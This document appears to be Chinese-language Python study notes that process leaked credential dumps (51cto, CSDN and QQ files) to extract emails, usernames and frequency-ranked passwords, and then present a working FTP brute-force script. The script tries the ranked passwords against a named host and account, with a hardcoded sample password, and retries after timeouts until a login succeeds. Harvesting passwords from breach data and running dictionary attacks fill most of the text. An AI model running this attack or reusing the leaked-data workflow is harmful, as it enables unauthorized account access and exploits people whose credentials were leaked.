数据处理与内存优化

复习之前学的

可以看出来这是读取邮箱跟用户，跟之前的方法是一样的

userpath=r"C:\Users\Tsinghua-yincheng\Desktop\yinchengDay3Down\user.txt"
emailpath=r"C:\Users\Tsinghua-yincheng\Desktop\yinchengDay3Down\email.txt"
CTOpath=r"C:\Users\Tsinghua-yincheng\Desktop\yinchengDay3Down\51cto.txt"
readfile=open(CTOpath,"r",errors="ignore")
userfile=open(userpath,"w")
emailfile=open(emailpath,"w")
while True:
    line= readfile.readline()
    if not line:
        break
    linelist=line.split(";")
    if  len(linelist)==3:
        if linelist[2].find("@")!=-1:
            emailfile.write(linelist[2]) #mail
            userlist=linelist[2].split("@")
            if  len(userlist)==2:
                userfile.write(userlist[0]+"\n") #user
    else:
        pass
        #linelist = line.split("  ")#正则表达式




userfile.close()
emailfile.close()
readfile.close()

csdn数据的处理

先是读取全部数据，再对全部数据切割，将切割出来的密码加入列表，再对密码进行排序，看列表的长度，记录密码次数，最后再次排序通过lambda得到密码表的排序

inputpath=r"C:\Users\Tsinghua-yincheng\Desktop\yinchengDay3Down\csdn.txt"
outputpath=r"C:\Users\Tsinghua-yincheng\Desktop\yinchengDay3Down\csdnpass.txt"
csdnfile=open(inputpath,"r",errors="ignore")
csdnpassfile=open(outputpath,"w")
alllinelist=csdnfile.readlines()#读取全部
print("全部文本读取完成")
passwordlist=[]
#完成本次循环，加入的都是密码
for line in alllinelist:
    linelist=line.split(" # ")
    if   len(linelist)==3:#切割成功
        passwordlist.append(linelist[1])
print("密码提取完成")
passwordlist.sort()
print("密码排序完成")
passwordtimeslist=[]
length=len(passwordlist)#列表长度
i=0
while i<length:#防止越界
    times=1 #统计次数
    password=passwordlist[i]#记录下密码
    while i+1<=length-1 and  passwordlist[i]==passwordlist[i+1]:#去除重复
        times+=1 #累加次数
        i+=1 #继续前进
    #print(password,times)
    passwordtimeslist.append([password,times])
    i=i+1
print("密码提取次数完成")
passwordtimeslist.sort(key=lambda x:x[1]) # x=[4,“369.369”]  x[0]=4
passwordtimeslist.reverse()#从大到小
print("密码次数排序完成")
for  data in passwordtimeslist:
    csdnpassfile.write(data[0]+" # "+str(data[1])+"\n")

print("密码结果写入完成")

csdnfile.close()
csdnpassfile.close()

统计次数

如何统计的呢，我们可以看到有一个列表mylist，通过去重的方式来记录次数，打印出来

mylist=["a","a","a","b","c","c","c","d","e","e","p"]
length=len(mylist)#列表长度
i=0
while i<length:#防止越界
    times=1 #统计次数
    password=mylist[i]#记录下密码
    while i+1<=length-1 and  mylist[i]==mylist[i+1]:#去除重复
        times+=1 #累加次数
        i+=1 #继续前进
    print(password,times)
    i=i+1

FTP密码破解

跟昨天不同的是，今天会遇到几个异常，登陆太频繁会遇到网络超时的问题。

import  ftplib

'''
try:
    myftp=ftplib.FTP("hk801.pc51.com")
    myftp.login("qinghuabeidacn517","qq123456")
    print("密码正确")
except:
    print("密码错误")

print("程序执行完成")
'''

try:
    myftp = ftplib.FTP("hk801.pc51.com")
    myftp.login("qinghuabeidacn517", "qq123456")
    print("密码正确")
    print("程序执行完成")
except TimeoutError:
    print("超时，网络问题")
except  ftplib.error_perm:
    print("密码错误")
except:
    print("其他错误")

'''
myftp = ftplib.FTP("hk801.pc51.com")
myftp.login("qinghuabeidacn517", "qq123456")
'''

#TimeoutError

import ftplib
import time
def  checkpassword(password):
    try:
        myftp=ftplib.FTP("hk801.pc51.com")
        myftp.login("qinghuabeidacn517",password)
        return  "密码正确"+password
    except TimeoutError:
        print("超时，网络问题")
        time.sleep(20)
        return "测试超时" + password
    except:
        return "密码错误" + password



passwordpath=r"C:\Users\Tsinghua-yincheng\Desktop\yinchengDay3\qqAnd163Password.txt"
passwordfile=open(passwordpath,"r",errors="ignore")
#穷举所有的密码
while  True:
    line=passwordfile.readline() #读取一行
    if  not  line: #最后一行None退出
        break

    linelist=line.split(" # ")#切割
    passwordstr=  linelist[0] #抓取第一个密码
    #print(checkpassword(passwordstr)) #显示密码
    mystr=checkpassword(passwordstr)
    print(mystr)
    if  mystr.find("密码正确")!=-1: #找到就退出
        print("找到正确密码，退出死循环")
        break
    elif mystr.find("超时")!=-1:
        mystr = checkpassword(passwordstr)
        if mystr.find("密码正确") != -1:  # 找到就退出
            print("找到正确密码，退出死循环")
            break

passwordfile.close()

QQ数据处理

这个跟csdn不同在于用到了del，将列表删除极大地减少了内存的使用率。

inputpath=r"C:\Users\Tsinghua-yincheng\Desktop\yinchengDay3Down\1E~001.txt"
outputpath=r"C:\Users\Tsinghua-yincheng\Desktop\yinchengDay3Down\pass.txt"
csdnfile=open(inputpath,"r",errors="ignore")
csdnpassfile=open(outputpath,"w")
alllinelist=csdnfile.readlines()#读取全部

print("全部文本读取完成")
passwordlist=[]
#完成本次循环，加入的都是密码
for line in alllinelist:
    linelist=line.split("----")
    if   len(linelist)==2:#切割成功
        passwordlist.append(linelist[1])
print("密码提取完成")
del  alllinelist  #用完了回收
passwordlist.sort()
print("密码排序完成")
passwordtimeslist=[]
length=len(passwordlist)#列表长度
i=0
while i<length:#防止越界
    times=1 #统计次数
    password=passwordlist[i]#记录下密码
    while i+1<=length-1 and  passwordlist[i]==passwordlist[i+1]:#去除重复
        times+=1 #累加次数
        i+=1 #继续前进
    #print(password,times)
    passwordtimeslist.append([password,times])
    i=i+1
del   passwordlist #回收密码
print("密码提取次数完成")
passwordtimeslist.sort(key=lambda x:x[1]) # x=[4,“369.369”]  x[0]=4
passwordtimeslist.reverse()#从大到小
print("密码次数排序完成")
for  data in passwordtimeslist:
    csdnpassfile.write(str(data[1])+" # "+data[0])

print("密码结果写入完成")

csdnfile.close()
csdnpassfile.close()